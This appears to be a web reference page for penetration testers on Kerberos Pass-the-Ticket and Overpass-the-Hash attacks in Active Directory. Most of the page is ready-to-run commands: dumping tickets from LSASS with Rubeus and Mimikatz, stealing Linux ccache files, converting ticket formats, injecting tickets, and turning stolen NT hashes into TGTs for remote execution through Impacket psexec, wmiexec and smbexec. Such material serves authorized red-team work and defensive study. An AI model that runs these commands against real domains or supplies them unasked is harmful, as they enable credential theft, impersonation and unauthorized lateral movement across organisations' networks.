# Pass-the-Ticket and Overpass-the-Hash

> Covers Kerberos-based lateral movement via stolen TGTs (Pass-the-Ticket) and NTLM-to-TGT abuse (Overpass-the-Hash) in Active Directory environments.

- **URL:** https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket
- **Path:** Active Directory > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/active-directory/lateral-movement.md)
- **Published:** 2026-07-01
- **Updated:** 2026-08-11

Pass-the-Ticket injects a stolen or forged Kerberos ticket into a session to authenticate as another user without knowing their password. Overpass-the-Hash converts an NTLM hash into a Kerberos TGT, giving you a ticket-based session from a hash. Both techniques are standard lateral movement paths in AD environments.

- Rubeus dump: extract tickets from Windows LSASS memory
- Mimikatz sekurlsa::tickets: export .kirbi files to disk
- Linux ccache files: /tmp/krb5cc_* on domain-joined hosts
- impacket-getTGT: request a TGT from the KDC using an NT hash
- impacket-ticketConverter: convert between .ccache and .kirbi formats

For forged tickets (Golden and Silver), see [https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket](https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket).

## Stealing Tickets from a Compromised Host

**From Linux**: dump cached tickets from LSASS or from a ccache file on a compromised system. If you have a shell on a Linux host joined to the domain, ccache tickets are stored in `/tmp/`:

```bash
ls /tmp/krb5cc_*
```

Copy the file to your attack box and set the variable:

```bash
export KRB5CCNAME=/tmp/krb5cc_1000
```

**From Windows with Rubeus**: dump all tickets in memory:

```powershell
Rubeus.exe dump /nowrap
```

Dump tickets for a specific service:

```powershell
Rubeus.exe dump /service:krbtgt /nowrap
```

The base64 ticket blob in the output can be injected directly.

**From Windows with Mimikatz**: export tickets as `.kirbi` files:

```bash
sekurlsa::tickets /export
```

This drops `.kirbi` files to disk for every active Kerberos session. Look for `[0;XXXXXX]-2-0-40e10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi`, that is a TGT.

## Converting Tickets Between Formats

Impacket tools on Linux consume `.ccache` format. Rubeus and Mimikatz on Windows use `.kirbi`. Convert between them:

```bash
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
```

## Using a Ticket on Linux

Set `KRB5CCNAME` to the path of your `.ccache` file, then use any Impacket tool with `-k -no-pass`:

```bash
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
```

Use the hostname rather than the IP when possible, Kerberos authentication is hostname-based and may fail against raw IPs depending on configuration. Add the target to `/etc/hosts` if needed:

```bash
echo "$TARGET_IP  hostname.$DOMAIN" >> /etc/hosts
```

## Injecting a Ticket on Windows with Rubeus

Inject a base64 ticket directly into the current session:

```powershell
Rubeus.exe ptt /ticket:<base64blob>
```

Inject from a `.kirbi` file:

```powershell
Rubeus.exe ptt /ticket:ticket.kirbi
```

Verify the injection worked:

```powershell
klist
```

After injection, access resources natively with standard Windows tools, `dir \\target\C$`, PsExec, PowerShell remoting, etc.

## Overpass-the-Hash

Overpass-the-Hash converts an NTLM hash into a Kerberos TGT. Use this when you have a hash from secretsdump or Mimikatz and want a Kerberos session rather than an NTLM-based one.

**With Rubeus**: request a TGT using the NT hash:

```powershell
Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

With an AES256 key (stealthier, matches normal ticket encryption):

```powershell
Rubeus.exe asktgt /user:$USER /aes256:$AES256KEY /domain:$DOMAIN /dc:$TARGET_IP /ptt
```

`/ptt` injects the ticket into the current session immediately. Omit it to save the ticket to disk as a `.kirbi` instead.

**With Impacket**: request a TGT and save as ccache:

```bash
impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP
export KRB5CCNAME=$USER.ccache
```

Then use the ticket with any Impacket tool as shown above.

**With Mimikatz**: spawn a new process under the impersonated identity:

```bash
sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:cmd.exe
```

This opens a new `cmd.exe` with the impersonated user's Kerberos identity. Standard Windows tools in that window will use the Kerberos ticket.

## Extract a Usable TGT from the Current Session (tgtdeleg)

When running as a service account with Kerberos delegation enabled, request a usable TGT from the KDC using the current session's Kerberos context:

```powershell
Rubeus.exe tgtdeleg /nowrap
```

This uses the current session's Kerberos context to request a usable TGT via the delegation mechanism, useful when you are on a machine as a service account and need to extract a TGT for that account.

## References

- [Impacket](https://github.com/fortra/impacket) -  Fortra getTGT.py, ticketConverter.py, and Kerberos-enabled execution tools.
- [Rubeus](https://github.com/GhostPack/Rubeus) - GhostPack ptt, dump, asktgt, and tgtdeleg module documentation.
- [Mimikatz](https://github.com/gentilkiwi/mimikatz) - A little tool to play with Windows security